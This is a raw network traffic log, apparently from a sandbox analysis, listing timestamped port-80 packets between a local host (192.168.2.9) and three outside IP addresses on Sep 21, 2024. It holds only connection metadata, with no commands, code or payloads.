Sep 21, 2024 13:33:41.854337931 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.854337931 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.854881048 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.854935884 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.854945898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.854958057 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.854984999 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.854998112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.855010033 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.855021000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.855021954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.855022907 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.855032921 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.855058908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.855058908 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.855865955 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.855922937 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.855937004 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.855943918 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.855948925 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.855963945 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.855983973 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.855992079 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.855992079 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.856028080 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.856300116 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.856312037 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.856324911 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.856336117 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.856348991 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.856359959 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.856378078 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.856415987 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.857403994 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.857417107 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.857448101 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.857461929 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.857475042 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.857517958 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.857517958 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.857517958 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.858536959 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.858550072 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.858565092 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.858577013 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.858584881 CEST	80	49708	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.858594894 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.858622074 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.858653069 CEST	49708	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.858920097 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.858932972 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.858943939 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.858957052 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.858994961 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.859086990 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.859178066 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.859219074 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.859230995 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.859244108 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.859255075 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.859267950 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.859280109 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.859306097 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.859306097 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.859327078 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.859989882 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.860002041 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.860008001 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.860018969 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.860025883 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.860033035 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.860071898 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.860071898 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.860874891 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.860888004 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.860899925 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.860909939 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.860920906 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.860932112 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.860940933 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.860945940 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.860958099 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.860966921 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.860971928 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.860991955 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.861005068 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861006021 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.861006021 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.861016989 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861028910 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861028910 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.861028910 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.861041069 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861052990 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861064911 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861066103 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.861078024 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861088991 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.861089945 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861103058 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.861107111 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861121893 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861129999 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.861162901 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.861818075 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.861829996 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.861841917 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.861852884 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.861864090 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.861875057 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.861886978 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861897945 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861896992 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.861896992 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.861910105 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861922026 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861932993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861941099 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.861946106 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.861952066 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.861982107 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.861982107 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.862174034 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862188101 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862206936 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862217903 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.862221003 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862234116 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862236977 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.862246990 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862252951 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.862260103 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.862272024 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.862283945 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.862292051 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.862296104 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.862309933 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.862317085 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.862318039 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.862365007 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.862365007 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.862812996 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862824917 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862837076 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862843037 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862848043 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862857103 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.862859964 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862874031 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862886906 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862886906 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.862899065 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862911940 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.862932920 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.862932920 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.862951994 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.863471031 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.863483906 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.863496065 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.863507032 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.863518953 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.863532066 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.863559008 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.863559008 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.863581896 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.863629103 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.863640070 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.863651037 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.863662004 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.863668919 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.863675117 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.863689899 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.863703012 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.863711119 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.863714933 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.863728046 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.863734961 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.863739967 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.863749027 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.863784075 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.864167929 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.864181042 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.864187002 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.864192963 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.864203930 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.864216089 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.864280939 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.864280939 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.864314079 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.864326954 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.864337921 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.864348888 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.864358902 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.864362001 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.864375114 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.864379883 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.864389896 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.864403009 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.864413977 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.864422083 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.864425898 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.864444971 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.864470959 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.864727020 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.864738941 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.864751101 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.864761114 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.864806890 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.864808083 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.864991903 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865004063 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865015030 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865026951 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865041971 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.865088940 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.865303993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865315914 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865336895 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865348101 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865354061 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.865360975 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865377903 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.865431070 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.865927935 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865947008 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865973949 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865986109 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865997076 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.865997076 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.866012096 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.866019964 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.866036892 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.866070986 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.866837025 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.866851091 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.866863012 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.866874933 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.866887093 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.866892099 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.866933107 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.867552042 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.867563963 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.867597103 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.867598057 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.867611885 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.867624044 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.867635012 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.867640018 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.867667913 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.867707968 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.868624926 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.868681908 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.868695974 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.868732929 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:41.868761063 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.868932009 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:41.869843960 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.869921923 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.869946003 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.869967937 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.870021105 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.870021105 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.877573013 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.877588034 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.877609015 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.877621889 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.877636909 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.877649069 CEST	80	49712	176.113.115.33	192.168.2.9
Sep 21, 2024 13:33:41.877681017 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.877784014 CEST	49712	80	192.168.2.9	176.113.115.33
Sep 21, 2024 13:33:41.885236979 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885262966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885272980 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885385990 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.885385990 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.885632992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885646105 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885657072 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885710001 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.885710001 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.885724068 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885735989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885747910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885759115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885771036 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885782003 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885783911 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.885783911 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.885795116 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.885828018 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.885828018 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.886023045 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.886034966 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.886053085 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.886063099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.886076927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.886082888 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.886087894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.886100054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.886111021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.886116982 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.886116982 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.886126041 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.886147022 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.886147022 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.886183023 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.886946917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.886964083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.886981010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887005091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887017012 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.887017012 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.887020111 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887033939 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887056112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887065887 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.887065887 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.887068987 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887079954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887084961 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.887093067 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887105942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887116909 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.887116909 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.887156010 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:41.887701988 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887713909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887726068 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887737036 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887749910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887762070 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887773037 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:41.887784004 CEST	80	49710	103.130.147.211	192.168.2.9
